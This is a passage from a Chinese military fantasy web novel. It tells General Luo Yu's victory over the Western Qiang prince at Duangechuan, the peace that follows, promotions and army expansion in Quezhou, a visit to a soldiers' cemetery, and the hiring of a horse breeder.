别看战场乱成了一锅粥,可高居将台的萧少游依旧在下达一道道军令,确保每一处兵力都能得到充分使用,优势被不断放大,直到最后将羌兵各营一一击破,战心全无!
连君墨竹都佩服起来,如此大战也只有萧少游能掌控全局。
所有人都知道,再这么打下去羌兵必败,而且是全军覆没的惨败!
“喝!”
沙场中央,身披甲胄的耶律乌戈正在拼命出枪,接连将两名敌军斩于马下,这位西羌九皇子的枪术确实了得。
“耶律乌戈,今天就是你的末日!”
洛羽冰冷的喝声在耳畔响起,耶律乌戈回头一看,咬牙切齿:
“我还没有输!等援兵一到,死的一定是你!”
“还在做白日梦,若援兵真的能到,早就该到了!”
洛羽面目表情,长枪一指:
“可敢与我一战!”
“有何不敢!”
耶律乌戈浑身杀气暴涨,纵马而来:“吃我一枪!”
两匹战马踩着尸山血海展开了对冲,雄壮的马蹄每次踩踏都能溅起一片鲜血。
“死!”
两支长矛几乎同时刺出,在半空中狠狠一撞,震得二人手臂发麻。洛羽不仅没有收枪,而是又加了几分力,矛尖精准地刺向耶律乌戈的咽喉,却被对方长枪横挡,接下了这凶悍的一招。
精铁碰撞的火星在空中四溅,两人各出杀招,耶律乌戈左手一压枪杆,借着马势直取洛羽腰腹:
“本殿乃大羌九皇子,就凭你一介寒门出身的武夫,怎敢与我争锋!”
洛羽左手猛扯缰绳,战马人立而起,手中长矛顺势一挥,又是一记凶悍的对拼:
“铛!”
“就凭我是从尸山血海里爬出来的,就凭你杀了这么多陇西百姓,今日你必将死于我枪下!”
“狂妄!”
耶律乌戈怒吼着后仰,接连此处两枪,第一枪直逼洛羽的咽喉,未中被挡,第二枪顺势下滑,直接砸中肩膀,在洛羽的肩甲上刮出一串火花。
“枪法不错,但还是差了点!”
肩膀上传来的痛意并未迟滞洛羽的枪法,趁着耶律乌戈收枪之际猛地一夹马腹,借力前扑,长矛如毒龙般从马颈侧方刺出,快如迅雷,耶律乌戈目光一变,急忙勒马闪避,人虽然躲开了杀招,马背却被捅出一道触目惊心的伤口。
战马一声嘶鸣,拼命挣扎,差点将耶律乌戈甩下去。好在这是草原一等一的良马,浑身剧痛也没倒地。
洛羽岂会放过如此良机,一枪横挥而出:
“给我死!”
“砰!”
“噗嗤!”
枪杆狠狠砸在了他的胸口,耶律乌戈只觉得喉咙一甜,些许血腥气翻涌而上,猛地喷出一口鲜血。
“你敢伤我!你竟敢伤我!”
耶律乌戈几近癫狂,刚欲策马再战,浑身是血的兀良平就挡在了他身前,急喝一声:
“殿下,撤军吧!末将护着你先走!”
近百亲兵扑了过来,牢牢护在两人周围。
“不走,我们能赢!”
耶律乌戈目光猩红,怒吼大骂:
“给我杀了他,待援兵一到,我们一定能赢!”
“殿下,走吧!”
兀良平苦苦相劝,他比耶律乌戈更清楚战场的局势,不管拔都鲁的援兵能不能到,断戈川战局已经溃败,绝无反败为胜的可能。
“隆隆!”
“轰隆隆!”
就在这时,天边尽头终于传来了震耳欲聋的马蹄声,声势比刚才陆铁山的两千骑还要浩大。
“来了,来了!”
耶律乌戈喜出望外:“援兵到了!哈哈哈,援兵到了!”
“洛羽,断戈川就是你的坟墓!”
无比的畅快,耶律乌戈甚至已经想好了洛羽的死法。
所有人都不约而同地望向天际,表情凝重,边军将士的脸上甚至有一抹悲戚,难道五千精骑已经全部死于羌兵之手吗?难道即将到手的胜利眨眼间就要烟消云散了吗?
两道响彻云霄的怒吼声让耶律乌戈脸上的笑容戛然而止:
“阙州第二营,曹殇杀到!”
“阙州第五营,霍连城杀到!”
第243章陇西铁骑甲天下
两营骑兵,一战之后还剩三千余众,哪怕人人精疲力竭、哪怕人人浑身带伤,可也挡不住那滔天杀意。
曹殇、霍连城出现的意义并不是说能为大军增添多少战力,精疲力尽的他们连出枪都很艰难,可三千黑甲彻底压垮了羌兵心中的最后一丝希望。
军心涣散、战意全无,兵败如山倒!
屠杀,一场屠杀拉开帷幕。
“不可能,不可能。”
耶律乌戈呆若木鸡:“我怎么会输?我怎么会输!”
“殿下,走啊!”
兀良平拼命地推动耶律乌戈,可这位九皇子就像是傻了,听不见任何言语,呆呆不动。
“你们,保护殿下突围!”
兀良平顾不得许多,直接让亲兵把耶律乌戈架走,自己转身面向洛羽:
“乾军小儿,本将来会会你!”
两百亲卫杀红了眼,护着皇子一路向外冲杀。
“喝!”
兀良平纵马疾驰,一杆长枪斜刺而出,可枪势早就没了开战之前的迅猛、凌厉,鏖战大半日,体力早就消耗得差不多了。
洛羽冷眼相看,手中长矛斜指地面,枪尖上还滴落着未干的血珠。他并未催马迎击,只是静静立于原地,仿佛一尊杀神雕像。
“混蛋!”
毫无动作的洛羽在兀良平看来就是蔑视、是挑衅,眼中杀意大涨:
“死吧!”
洛羽手臂轻抬,“铛”的一声就用长矛挑开了兀良平手中的枪杆,右手顺势拔刀,反手一撩,刀锋自下而上划出一道寒芒。兀良平慌忙后仰,刀尖擦着他的鼻尖掠过,惊出一身冷汗。
不等他调整姿势,洛羽已纵马突进,一记苍刀再度劈来,兀良平越发惊慌,咬着牙砸出了手中枪杆:
“铛!”
又是一记对拼,体力耗尽的兀良平猛地一颤,双臂都在发抖,战马交错的瞬间,他陡然感觉背后有一股凉意袭来,浑身寒毛刹那间竖起,下意识地去抓腰间的佩刀。
“噗嗤!”
一记干脆利落的回马枪捅进了他的后背,兀良平绝望的低下头,破体而出的枪尖满是鲜血,手掌在空中无力的挥舞了两下,尸体就这么直愣愣地栽倒在地。
一枪,一枪阵斩万户猛安!
洛羽头也不回地抽枪而回,目光紧盯拼命奔逃的耶律乌戈,冷喝一声:
“追!”
……
他终究是没有逃掉。
耶律乌戈茫然地站在场中央,数以百计的黑甲铁骑围拢过来,冰冷的面庞在配上凌厉的眼神,令人不寒而栗。
两百亲兵尽数战死,也没能护着他杀出重围,这位九皇子已经成了待宰的羔羊。
甲胄被血污染红,耶律乌戈的身体不由自主地发抖,死亡的恐惧之下,又有多少人能够镇定自若?
骑军从中央缓缓分开,洛羽、萧少游、君墨竹乃至一众武将策马行入包围圈。
举目皆敌,这应该是耶律乌戈一生中最绝望的时刻。
“你输了。”
冰冷的三个字从洛羽口中吐出,居高临下的目光中满是杀意。
“为什么,我不该输的?”
直到现在耶律乌戈也没从失神中走出来:
“我明明抽调了上万的援兵!我明明布下了最坚固的拒马阵!甚至连战场我都选在了对自己有利的位置!
我为什么会输!”
他想不通,寒山脚下一场大败之后他陆续从草原抽调了上万兵马,明面上五千人抵达断戈川,背地里八千骑绕行曳落河,奇袭敌军腹背。前后夹击,此战本该是必胜之局,乾军的兵力他很清楚,就算是输也不可能输得这么惨,至少能安然无恙地撤回草原。
但他就是败了。
洛羽冷冷的解释道:
“我知道你自大、自负,但绝不傻,不可能靠着一万五千人就敢与我倾力死拼。所以从一开始下战书的时候,我就已经快马传信云阳关,调两千精骑驰援断戈川,我为你准备的奇兵本来就是两路。
昨日一战,你全力防守,摆明了是想消耗我军兵力,从那时起我就断定,你一定还有一支援兵!
所以今日我全军压上,不给你任何翻盘的机会!
你觉得八千精骑能够抵达战场,给予我军致命一击,但我相信曹殇,霍连城,相信我陇西的五千健儿,他们就算战至最后一兵一卒,也不会放一名羌骑过境。
好在我边军将士没有让我失望,他们不仅挡住了援军,还将八千敌骑全歼于曳落河畔,此战不赢,天理难容!”
确实,五千骑全歼八千敌出乎了所有人的预料,一举扭转了战局。
耶律乌戈神色颓然,再无心气。
“你知道我五千悍卒为什么能全歼你八千援兵吗?你知道为什么自己会输得这么惨吗?”
洛羽神情冷漠,语气中夹杂着怒意:
“你们杀我同胞、毁我家园、夺我田地,你们欺压陇西太久了!
多年来羌兵屡屡犯境,视我边军于无物,但陇西人并不懦弱,这些仇恨一直埋藏在所有人的心底,当仇恨爆发的那一刻,无人敢挡我兵锋!”
洛羽缓缓拔出腰中苍刀:
“该说的都说完了,轮到你了,血债只能血偿!”
耶律乌戈怔怔望向手中长剑:
“你想杀我?你就这么想杀我?”
“你凭什么杀我!”
耶律乌戈长发披肩,表情逐渐狰狞:
“你不过是军中一武夫,小小的阙州持节令罢了,我乃是大羌九皇子!在我眼中你就是一个蝼蚁,蝼蚁!”
“我八岁骑马、十岁练刀练箭,十五岁上阵杀敌,十八岁率军平叛,阵斩叛军一十三人,我不是锦衣玉食的皇亲贵胄,我是从尸山血海里一刀一枪杀出来的皇子!”
耶律乌戈抬起长剑,指向四周:
“你们,你们都是一群蝼蚁!你们没资格杀我!”
“我乃大羌皇子!”
一声声狰狞的嘶吼让所有人都皱起了眉头,他好像疯了,又好像没疯。
“我恨啊,恨自己败在一群蝼蚁手中!”
“但我不会给你机会杀我的,绝不会!”
耶律乌戈神情凄惨,长剑搭上脖颈:
“你们等着吧,会有人替我报仇的,他日我大羌的铁骑一定会踏进陇西边关,让陇西三州血流成河,寸草不生!
到时候你们都会给我陪葬,洛羽,我在地底下等着你!”
“嗤!”
剑锋滑过咽喉,鲜血溅满衣袍。
耶律乌戈就这么当着所有人的面自裁了。
天地为之一静,屠害千万百姓的九皇子死得凄惨无比。
残阳如血,轻洒在黄沙之上,目光所及之处尽是死尸,无数汉子傲然而立,今日他们都是战场上的英雄!
“呼。”
洛羽吐出一口长长的浊气,面向全军将士:
“阙州第二营、第五营,以五千之卒在曳落河畔全歼八千敌骑,当居此战首功!
今日两营合并,曹殇为主将,霍连城为副将,赐名:
曳落军!”
“轰!”
三千曳落军同时抽刀,怒吼一声:
“死战!”
三千血红黑甲,三千铮铮铁骨!
洛羽朗声怒喝:
“从今往后,陇西三州再也不会任由外敌践踏,陇西的铁蹄会让所有敌人胆寒!”
“军人,当为家国天下之坚盾,护我山河!”
“轰!”
全军齐行军礼,怒声嘶吼:
“将军威武!”
洛羽策马阵前,砸胸还礼:
“边军威武!”
……
大乾历
景风十一年正月初一
西羌九皇子耶律乌戈,死于断戈川,数万羌骑全军覆没,一战黄沙尽白骨!
断戈川上起矛戈。
断戈川下埋乌戈!
第244章黄沙百战埋忠骨
大乾历
景丰十一年初
正三品安西将军、领阙州持节令洛羽,于西境外断戈川、曳落河一战全歼两万余羌兵,杀九皇子耶律乌戈。
朝野皆惊,两朝震动。
一月之后,西羌遣使议和,纳牛羊万头、战马三千匹,大乾送还九皇子遗体。
两朝停战!
“哈哈哈,洛将军此战震动朝野,三州瞩目。西羌主动遣使求和,数十年来从未有过,扬眉吐气,扬眉吐气啊!”
“哈哈哈!”
王彦之爽朗的笑声回荡在屋内,君天啸的性子更加耿直,直截了当地来了一句:
“洛将军,以前我君某确实看你不太顺眼,没啥好说的,但这一仗我真服了,心服口服!”
陇西大捷,西羌退兵,两人自当来寒山关庆贺。望着君天啸竖起的大拇指,洛羽哭笑不得,这家伙还真是耿直啊,正如君墨竹所言:
有点心计,但是不多。
看似屋中是四位年轻人,但他们四人就是未来陇西的主宰,跺跺脚陇西都得抖三抖。
“洛某可不敢贪天之功。”
洛羽微微摇头:
“若不是三军效命,将士死战,岂能有今日大捷?可惜啊,多少陇西男儿战死沙场,他们本该是陇西的希望。”
洛羽是亲眼见到一条条生命从眼前流逝的,自然不会有两人那种喜悦,更多的是一种欣慰。
打赢了,就算没有辜负战死的英灵。
“哎,洛兄太谦虚了。”
王彦之的称呼逐渐亲切起来:“你是帅才,手下又是猛将如云,有洛将军在,日后陇西边关定然固若金汤!”
“没错,近年来羌贼欺我太甚,此战总算是一雪前耻!”
君天啸骂骂咧咧:
“料想他们日后不敢再来!以后能踏踏实实过安稳日子了。”
“咳咳,王兄,君兄。”
洛羽轻声道:
“今日是在寒山关,没有外人,我说一句私底下的话,两位若是愿意听,就记在心里。”
见洛羽表情凝重,王彦之与君天啸也收起了笑容:
“洛兄请讲。”
洛羽有条不紊地说道:
“西羌疆域辽阔,雄踞草原,多年来整合了大大小小上百部落,草原男子人人皆兵,西羌号称百万之卒。
以他们的狭隘心性,杀子之仇本不该如此轻松略过。根据情报,西羌境内不稳,些许部落起兵反叛,耶律皇族无暇顾及边关战事,这才主动遣使求和,集中全力对付内部的叛军。
等他们平息内乱定会兴兵来犯,届时陇西边关将有一场惊天大战啊。
所以此战虽胜,但我三州决不能掉以轻心,应当抓紧一切时间整军备战、囤积粮草、静待强敌。”
“洛兄说的是,骄兵必败!”
王彦之神色凝重:
“待我回去之后定会征兵备战,防患于未然,洛将军乃帅才,到时候还得请你多多指教练兵之法啊。”
“这是自然。”
该说的话都已经说了,洛羽起身抱拳:
“既然两朝已经罢兵言和,那阙州兵马也该返程了。三天后我大军班师,咱们日后再见!”
……
清晨阳光初照,寒风习习。
寒山关东门外停着一支雄师,全军清一色黑甲在身,神情肃穆,军中尽悬“洛”字军旗。
官道两侧各有一座军阵,乃定州、并州军卒。
虽说分属不同三州,但跟在洛羽手下这么久,很多人已经将阙州军视为同袍兄弟,给兄弟送行那是应该的。
还有数不清的百姓扶老携幼,驻足路旁,人人翘首以望,他们的脸上有喜悦、有不舍,更多的是一种悲戚。
只因阙州军伍中央举着无数白旗,一车车棺椁排成一条长龙,那都是战死将士的遗体。
此战阙州九营尽出,总计兵力一万八千余众,返程时总兵力已达两万多人。
看起来是越打越多,实际上是因为多次补充兵源,一场场恶战下来,有四千三百余将士埋骨黄沙,伤者不计。
漫天寒风,黄沙寂寥,四千多鲜活的生命再也回不到自己的家乡。
黄沙之下,埋尽忠骨!
城门口处,洛羽驻马而立,君墨竹、王彦之等人都出来送行。
或许是场面太过严肃,王彦之提了个轻松愉快的话题:
“洛兄,三月之后墨竹便会和舍妹成婚,到时候你可一定要来啊,咱们就喝凤川城的凤仙醉!”
提到婚事,君墨竹的表情僵了僵,但他没办法,用一种期待的眼神看向洛羽:
“洛兄会来吧?”
“放心,君兄与我也算是患难之交。”
洛羽笑了笑:“一定到!”
听到患难之交四个字,君墨竹心头莫名一暖,露出一抹欣慰的笑容。
他们俩之间的情感其实很复杂:
一开始君墨竹为了扩充君家的实力、稳住边防,很想招揽洛羽这样的将才,后来洛羽在阙州一步步崛起,实力壮大,君家已经失去了招揽他的资格,君墨竹也意识到洛羽绝非屈居人下之辈。
直到此次边关战事,两人朝夕相处,洛羽在一场场战事中展现出来的个人魅力深深折服了君墨竹。
与他共事,君墨竹根本不用考虑什么家族内部的尔虞我诈、钩心斗角,只需要为了一个目标共同努力即可。
若不是姓君,他一定会跟着洛羽回阙州!
“哈哈,二弟的婚事自然是三州的喜事。”
君天啸哈哈大笑:
“到时候我们兄弟四人不醉不归!”
“一言为定!”
三人齐齐朝洛羽抱拳:
“那就祝洛兄一路风顺!”
“告辞,我们后会有期!”
洛羽望向黑压压的军阵,朗声怒喝:
“全军开拔!”
“回家!”
“轰!”
“呜呜呜!”
雄壮的号角声中,各营军卒依次开拔,旌旗蔽野:
主将亲卫、虎豹骑、曳落军、血归军、寒羽骑……
四千余英灵的棺椁被将士们牢牢护在当中,漫天飞舞的雪白旗帜在长龙般的队列中极为显眼。
“定州军,送英灵归乡!”
“并州军,送英灵归乡!”
“轰!”
两州军卒齐声怒吼:
“壮哉边军!”
许多人泪花闪烁,咬紧牙关,这一刻同袍间的生死情格外浓厚。
相比军卒,百姓们则泣不成声,一位老人拎着竹篓,洒出一把纸钱,几乎是哭喊出来的:
“年轻的儿郎们,一路走好!”
“恭送阙州将士!”
乌泱泱的百姓纷纷跪下,他们不会忘记自己的命是边军救的,更不会忘记这些为了保家卫国而死的年轻人。
纸钱被狂风卷起,在空中飘舞,仿佛是英灵们的回应。
君墨竹目光怔然:
“人心所向啊。”
“确实人心所向。”
上了年纪的君沉竟然擦了一把眼角,有些哽咽:
“数十年了,我陇西边军总算得了民心,日后我陇西边军定会牢牢护住家园!”
“陇西边军么。”
君墨竹怅然许久,自顾自地喃喃了一句:
“大乾十三道,十二道皆有节度使,唯有陇西例外。君家是君家、王家是王家,洛家是洛家。
三州不一统,何来的陇西边军啊。”
第245章大赏文武,扩充三军
苍岐,安西将军府
按理说阙州的首府该是天阙城,但洛羽从苍岐起家,根基班底全都在这,苍岐自然而然就成了阙州的军政中心。
大厅内阙州文武齐聚一堂:
文有梅雪崖、江殊、陆怀舟、公输白,武有萧少游、韩朔、蒙虎、曹殇等一众悍将,群英荟萃。
大军回境之后朝廷封赏的圣旨同步到达,虽然没有给洛羽加官进爵,但赏赐了大量金银珠宝、丝绸锦缎,给了洛羽封官阙州文武的独断之权。
正如当初冯德全说的那样,此战一是为了保境安民、二是为了堵住满朝大臣的嘴、坐稳阙州持节令的位置。
一颗九皇子的人头,谁敢撼动洛羽在陇西的地位?
梅雪崖与江殊先后汇报了阙州的近况:
官场:阙州全境都已恢复吏治,小城设县令、大城设知府,以前大大小小的城主彻底不复存在;
军伍:前线征战后方也没闲着,陆续招募新兵近万人,由留在境内的将校练兵,同时清剿土匪,以战代练,将阙州境内的山贼流寇一扫而空;
财政:官作司的规模空前壮大,织机的数量增加了好几倍,由阙州官府作背书、借用听雨楼的销售渠道,酒水、棉布源源不断的卖往陇西各地,甚至已经有一些中原商贾慕名前来求购,白花花的银子堆满了库房;
土地:官府吸纳了数万流民,在全境开垦荒地、种植粮食,同时还因地制宜,大力种植各种农作物,如茶叶棉花等等,什么能让老百姓赚钱就种什么,去年秋收的田赋比李家时期多了数成;
教育:武有玄岐军校、文有陆怀舟在各地推行的三年制义务教育,不管你是想从文还是习武,官府都能让你入学。
再加上此次边关大捷,洛羽之名响彻三州,人心民心空前团结,乾人奴庭人和睦相处,整个阙州呈现出一片欣欣向荣之景。
“这一年来大家都辛苦了,前线忙着打仗、后方忙着理政,个个忙得脚不离地。”
洛羽难得开起了玩笑:
“大家跟着我干总不能靠一腔热血吧?谁不想升官发财、光宗耀祖?
所以今日的议事很简单,那就是升官!”
“哈哈哈!”
满屋哄笑,人人脸上挂着喜意。
洛羽开口说道:
“陇西三州主官皆为持节令,依我乾朝官制,持节令之下还应该有刺史、将军分管军政。以前李家主事,高官要职皆乃李家族人,刺史将军形同虚设。
我不一样,讲究一个选贤任能,无才岂可身居高位?
从今天起,萧少游升任正四品阙州将军、梅雪崖升任正四品阙州刺史、韩朔任从四品阙州副将、陆怀舟任从四品阙州别驾。阙州军政就靠你们四位多费心了。
将军府、刺史府以后就设在凤川城吧,离苍岐近些,天阙城城高墙坚,就作为屯粮驻军之地,与凤川城遥相呼应。
江殊任从四品官作司司丞,阙州财权、粮草供应、后勤军需皆由你负责;
公输白任从四品匠造司司丞,你的任务就只有一个,帮我边军打造出世上最好的弓、最好的刀!”
“诺!”
六人同时起身应喝,军政财工,分工明确,井井有条。
安排完几位主官,洛羽转头看向剩下的一帮武将:
“接下来该你们了,你看把蒙虎急得,眼珠子都快瞪出来了。”
“哈哈哈!”
又是一片哄笑。
“我们宰了一个西羌皇子,这可是深仇大恨。虽然两朝停战,但这只是暂时的,日后的战事规模只会越来越大,我们得未雨绸缪。”
洛羽环视全场:
“官作司挣了大笔的银子,境内粮食产粮也大增,有银有粮能做什么?能养兵!咱们生逢乱世,又地处边关,没兵是不行的。
此次从寒山关带回来的老兵有两万余人,境内新兵一万,这还远远不够!
我计划在全境内继续吸纳青壮入军,以两万多精锐老卒和玄岐军校新一批毕业的将校为班底,扩军至五万,编练各军!”
众人昂首挺胸,目光振奋,五万人啊!这可不是李家那样东拼西凑起来的乌合之众,而是能如臂挥使的精锐边军!
洛羽朗声道:
新军五万,编额如下!
骑军:
亲兵营两千骑,岳伍任从五品游击将军!
虎豹骑三千骑,蒙虎任正五品主将,魏野任从五品副将!
曳落军五千骑,曹殇任正五品主将!
血归军五千骑,吕青云任正五品主将、楚澜任从五品副将!
寒羽骑五千骑,余寒弓任正五品主将、万纲任从五品副将!
除以上各野战边骑外,再编一支主力骑军,平时镇守境内,战事亦可野战出击,称阙州卫!暂定兵员五千骑,由霍连城出任阙州卫正五品主将!
步卒:
先登营五千人,徐松任正五品主将!
一万步卒驻扎天阙城,负责境内各城安定,囤积军粮,归韩朔将军指挥。
一万步卒驻守云阳关,镇守边境,防敌来袭,陆铁山任从四品云阳关主将,石敢任正五品云阳关副将。
综上,骑兵步卒各两万五千人,总计五万边军!
众将怒喝:
“末将领命!”
洛羽神情肃穆:
“正如我之前所言,战争还没有结束,接下来练兵备战就靠你们了。
我希望阙州五万精锐,有能力击败一切来犯之敌!”
“诺!”
文臣武将们鱼贯而出,脸上既有加官进爵的振奋,也有整军备战、安抚民生的迫切。
“哈哈哈,洛将军麾下果然都是能臣猛将啊,看着真让人羡慕。”
文臣武将们刚出门,一道苍老的笑声就飘了进来,司礼监太监冯德全迈步而入。
前两次洛羽升官都是他来传旨,这次自然也不例外。别看陇西乃苦寒之地,冯德全很乐意过来,因为洛羽出手大方,每次都把他的马车塞得满满当当。
“呵呵,冯公公这几天休息得如何?抽空我派人带您出去转转,也见识一下边关的风土人情。”
洛羽笑着寒暄几句,这次冯德全没有急吼吼地离开边关,反而留了下来,短时间看没有想走的意思。
“咳咳。”
两人聊着聊着耳边响起几声轻微的咳嗽,洛羽这才发现冯德全身后还站着位面生的年轻太监,像是染了风寒。
洛羽随意地扫了两眼,心中莫名觉得有些古怪,年轻太监竟然给他一种文弱书生的感觉,少了几分内侍该有的阴柔气。
“洛将军这一仗打得漂亮啊,堵住了满朝悠悠众口。”
冯德全的话拉回了洛羽的视线:
“歼敌数万,斩杀敌国皇子可是滔天之功啊,但陛下只给了赏赐,没有加官进爵,洛将军心中该不会有怨言吧?”
“岂敢岂敢。陇西三州持节令都是正三品,洛某年纪最轻,如果再加品级,另外两州就该不满了。”
洛羽眉头微挑,还有旁人在侧,冯德全怎么如此直接?除非这家伙是心腹。
“哈哈哈,洛将军果然识大体。”
冯德全轻笑一声,转而问道:
“听说洛将军明天一早要去岐连峰的英雄冢?”
“嗯。”
洛羽默然道:“战死将士的新碑已经立好了,我去看看。”
冯德全的表情出奇凝重:
“洛将军,杂家虽然是个阉人,但对保家卫国的英雄亦心怀敬意。能否与洛将军同行,也好祭奠我大乾男儿的英灵!”
洛羽难不成还能拒绝?痛快答应:
“公公有心了,明日一早,我们同去!”
“好!那杂家告辞!”
“公公慢走!”
冯德全带着年轻太监缓缓退出房门,一前一后。
洛羽抱着膀子,看着年轻背影,眼眸中充满了好奇。
第246章五千块墓碑
三岐山主峰,岐连峰
半山腰处立起了数千块墓碑,放眼望去皆是青石砖碑,密密麻麻,一眼望不到头。
上一次云阳关之战战死的同袍都埋在这里,一开始只有几百块石碑,此次寒山关战事又战死四千余人,如今这里整整齐齐立着五千块墓碑。
沙场惨烈、血腥残忍,很多战死士卒的遗体都找不到,所以一部分石碑下面埋着的根本就不是遗体,而是简简单单的一块身份牌,标着士卒的姓名、军职,战死日期。
百姓们称呼这里为英雄冢,有家人埋在此地的逢年过节便会来祭奠,用青石板平整出来的山路上偶尔能看见三三两两焚烧纸钱的百姓。
洛羽和冯德全在山路中穿行,年轻的小太监依旧跟在后面,形影不离,三人打扮得与寻常百姓无异,洛羽手中还拎着一个竹篓,里面放着一壶壶酒,都是官作司酿造出来的凤仙醉。
初春时节,山中冒出了点点新绿,百花待放,树梢渐满,英雄冢内感受不到半点死亡的阴霾,反倒是生机勃发之景。
“真是片好地方,景色宜人。”
冯德全毕竟年纪大了,走了一段山路便有些气喘,停下脚步感叹道:
“洛将军眼光独到啊,将英雄冢选在这,坐拥好山好水、还能俯瞰阙州大地,战死的将士们也算是能常伴阙州百姓,得以安息。”
“师父,您慢着点,山路陡。”
年轻太监轻轻迈前一步扶住了老人的肩膀,冯德全轻笑道:
“洛将军,还没来得及介绍,这是老奴在宫中收的徒弟,平日一直伺候在身边。”
年轻太监顺势作揖:
“见过洛将军,叫我小淮子便好。”
“小淮子?”
略显拗口的名字让洛羽眉头微挑,不过还是客气地说了一句:
“看起来倒是眉清目秀,能被冯公公收为徒弟,想必一定聪明伶俐得很。”
“呵呵,洛将军过奖了。”
冯德全振作精神,理了下衣袍:“走吧,杂家咬咬牙,还能坚持,哈哈!”
三人再度起程,最终停在了一片崭新的墓碑前,洛羽从竹篓里拿出一壶酒,倒满一小盅摆在墓碑前:
“喝吧,知道你以前爱喝酒,不过凤仙醉太贵,自己舍不得买,今天可以喝个够了。”
冯德全看了一眼墓碑:“阙州第三营,都尉柳青。”
洛羽轻声呢喃:
“冯公公应该知道洛某是从云阳关前线的鸡鸣寨起家,柳青从那时起就跟着我了,从一名普通军卒靠军功一步步升任第三营都尉。
攻克寒山关一战,血战力竭,战死城门,麾下一百军卒,无一生还。”
冯德全与小淮子都沉默了,他们不懂沙场的血腥,但他们明白无一生还四个字的含义,他们还能从洛羽的语气中听出浓浓的情感。
洛羽继续往前走,每路过一块石碑都会倒上一盅酒:
“张铁头,阙州第一营百户,家里以前是打铁的,日子过得还算不错。可惜后来羌贼游骑犯境,杀了他爹娘,烧了整个村子,没活路了才投军。
虎豹骑成军之战,阵斩敌骑六名,血战而亡,临死还砍断了一条马蹄。”
“楚阳,严格意义上来讲他还不算是阙州边军,只是奴庭逃来的难民,血归军副将楚澜的亲弟弟。
寒山关一战他被羌人所抓,羌人为了从他嘴里撬开秘密,用遍了酷刑,浑身上下找不到一片完整的肌肤,但他是条汉子,一个字也没说,最后自刎于亲哥哥面前。”
“周芒,阙州第二营都尉,阙州普通农户,被抓了壮丁去前线当兵,后来到了我手下,一步步拼杀出头,成了阙州第二营都尉。
曳落河骑战,五千骑死战八千羌骑,周芒一战阵斩敌骑九名,最后死于乱军围困之中,找到尸体的时候满脸血肉模糊,是靠着身上的身份牌才辨认出身份。
战死的那一天,他儿子刚刚出生。”
“刘经,阙州第四营标长……”
洛羽说了很多很多,眼眶都有些泛红。
他说这些一来是想念那些兄弟,二来是想借冯德全之口让京城的达官显贵们明白,陇西边关有多苦,沙场拼杀有多壮烈,哪怕朝廷能多拨一些钱粮也是好事。
冯德全和小淮子二人确实大有感触,同时还很震惊。
洛羽可是堂堂安西将军啊,竟然能说出每一名普通将校的出身、籍贯,事迹!
“英雄,这都是我大乾的英雄啊。”
冯德全老眼颤抖,略带泪花:
“没想到一场大战竟然死了如此多的陇西男儿,这可都是我大乾的脊梁啊,该死的羌人。”
小淮子突然开口了:
“洛将军,小奴斗胆,有一言相问。”
“请讲。”
洛羽目光微挑,他总觉得这个小太监古怪得很。
小淮子沉声道:
“战死的将士们大多都有家人,想必他们都是各自家中的顶梁柱,敢问洛将军,他们战死了可有抚恤?”
“有。”
洛羽平静地说道:
“阙州官府有明文条令,战死抚恤多少,杀敌战功奖赏多少,银子会一分不少地送到他们家人手里。”
“真的吗?万一有贪官污吏私吞了抚恤银呢?”
话音刚落,小淮子好像意识到这个问题不妥,弯腰行礼:
“小奴也是穷苦人出身,深知成年男丁对一个家庭的重要,他们死得英勇,可家人的日子总归是要过下去的,若是没有抚恤银,一家老小可怎么活。
还望洛将军恕罪。”
洛羽看了他一眼,缓缓道来:
“贪官污吏确实会有,但我阙州有军律,任何人敢贪一个铜板就是死罪,为此已经杀过一些人了,官府会派吏员随机抽查战死士卒的遗孀,若是少了一分银,便会将发银主官就地处斩,绝不姑息!
另外除了抚恤银,阙州官府还会优先安排战死军卒的家人去官作司务工,织布、当差、运货,尽可能给他们找一份活干,让他们有自食其力的能力。
在我看来,这些将士们为了保家卫国丢了命,那他们的家人就该官府来养。虽然阙州官府没能力帮到每一个人,但一定会尽力。”
“受教了。”
小淮子沉默半晌,恭恭敬敬地弯下腰肢:
“洛将军心怀百姓,小奴敬佩。”
洛羽饶有兴趣地说了一句:
“冯公公,您老这位徒弟谈吐不凡啊,好眼光。”
“哪里哪里,晚辈后生信口胡说罢了。”
冯德全打着哈哈岔开话题:
“若有冒犯之处,还望洛将军见谅。”
洛羽若有深意地看了他一眼,再度迈步前行:
“走吧,再陪我看看陇西的将士们。”
“整整五千块石碑啊。”
第247章我要战马!
“将军,你要的人我给你找来了!”
曹殇火急火燎地走入屋内,身后跟着个身穿布衣的中年男子:
“赶紧的,还不快来拜见将军。”
中年男子显得有些拘谨,倒头往地上一跪:
“草民苏兰真,叩见将军!”
“呵呵,不用如此拘礼,起来吧。”
洛羽笑了笑:
“曹将军可是多次跟我提起你啊,说你是了不得的能人。”
边上还坐着萧少游与梅雪崖,三人的眼中都带着浓浓的好奇。
苏兰真,原来跟着曹殇,不是当兵的,在饮马镇专门负责帮曹殇养马,家里祖祖辈辈都靠养马为生。
曹殇在阙州为什么强?连李家都不愿意染指饮马镇?不就是靠手下那批骑军吗?
骑军靠的是什么?
马啊!
饮马镇战马之精良阙州皆知,全都出自此人之手。
苏兰真赶忙说道:
“当不得能人二字,草民别的不会,只会养马。”
“哈哈哈,会养马就行!”
洛羽笑道:
“饮马镇出产的战马我看过,军中也有不少,确实优于阙州其他马场出产的战马。
你是怎么做到的?”
说起养马他就没那么拘谨了,娓娓道来:
“其实要想培育出精良的战马无非注意三点:马种,饲养方法,操练。
饮马镇的战马乃是草民引进了羌人战马与阙州马杂交培育出来的良种,羌马速度快,阙州马体力好,力量足,新马种兼顾了两种战马的优点,草民称之为陇马。
其次就是饲养,战马可不是用草料随便喂的,一年四季分别用何种饲料都有讲究,还得注意分群饲养,避免争斗,平时用一些中药混入饮水之中,还可以减少马疾的发生;
最后就是操练,草民觉得战马和军卒一样都需要操练,自幼就让他们熟悉战鼓、号角、甲胄碰撞的声音;还可以让战马负重奔跑,增强耐力。
经此培养出来的战马上了战场的表现自然要优于其他马。”
苏兰真唠唠叨叨地说了很多,表情很认真,给人的感觉很纯粹,就是喜欢养马!同时也精通养马!
“说得不错!”
洛羽的兴致越发浓厚,身体微微前倾:
“如果我将阙州境内的所有马场交给你打理,你能不能全都养成饮马镇那样的新种陇马?”
苏兰真呆住了,阙州所有马场都给他管?
“哎!将军问你话呢!”
曹殇推了他一把:“说话!”
“可以!”
苏兰真猛然回过神来,重重点头:
“一定可以!”
“好!”
洛羽大手一挥:
